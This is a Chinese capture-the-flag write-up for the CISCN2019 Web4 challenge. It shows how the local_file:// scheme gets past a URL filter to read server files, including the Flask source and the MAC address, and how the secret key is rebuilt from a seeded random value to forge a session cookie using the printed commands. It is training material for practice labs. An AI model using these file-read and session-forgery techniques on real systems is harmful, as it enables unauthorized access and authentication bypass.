[CISCN2019 华东南赛区]Web4刷题笔记
拿到题有一个参数为url的路由,用一些常见的协议尝试本地读文件要么是被过滤要么回显no response
这里学到了一个新知识,local_file://读取
根据url判断可能为flask直接读取/app/app.py源码
整理一下
# encoding:utf-8 import re, random, uuid, urllib from flask import Flask, session, request app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = True @app.route('/') def index(): session['username'] = 'www-data' return 'Hello World! Read somethings' @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('^file.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m or n: return 'No Hack' //这里url参数不让以file开头,不让有flag res = urllib.urlopen(url) return res.read() except Exception as ex: print str(ex) return 'no response' @app.route('/flag') def flag(): if session and session['username'] == 'fuck': return open('/flag.txt').read() else: return 'Access denied' if __name__=='__main__': app.run( debug=True, host="0.0.0.0" )
重点在flag路由,如果session['username']='fuck'就能拿到flag,那就想办法伪造session
伪造session首先要拿到secret_key,看一下secret_key的生成方式
random.seed(uuid.getnode()) //种子是uuid.getnode(),即机器的固定标识符,根据mac地址转化为十进制数
app.config['SECRET_KEY'] = str(random.random()*233) //这里有了种子就可以自己生成secret_key
读取/sys/class/net/eth0/address获取mac地址
import random random.seed(0x0e4ce3a9071e) print(random.random()*233)
用python2运行脚本生成key(根据源码print后不加括号判断原题是py2环境)
接下来利用flask_session_cookie_manager伪造session
python2 flask_session_cookie_manager2.py decode -c eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YdZsQA.3YV7psQpIvWF7UrSmJLd3p7_mUU
解密原session看一下需要伪造的形式
python2 flask_session_cookie_manager2.py encode -s 222.50970315 -t "{'username':b'fuck'}"
伪造session
携带伪造的session访问flag路由即可拿到flag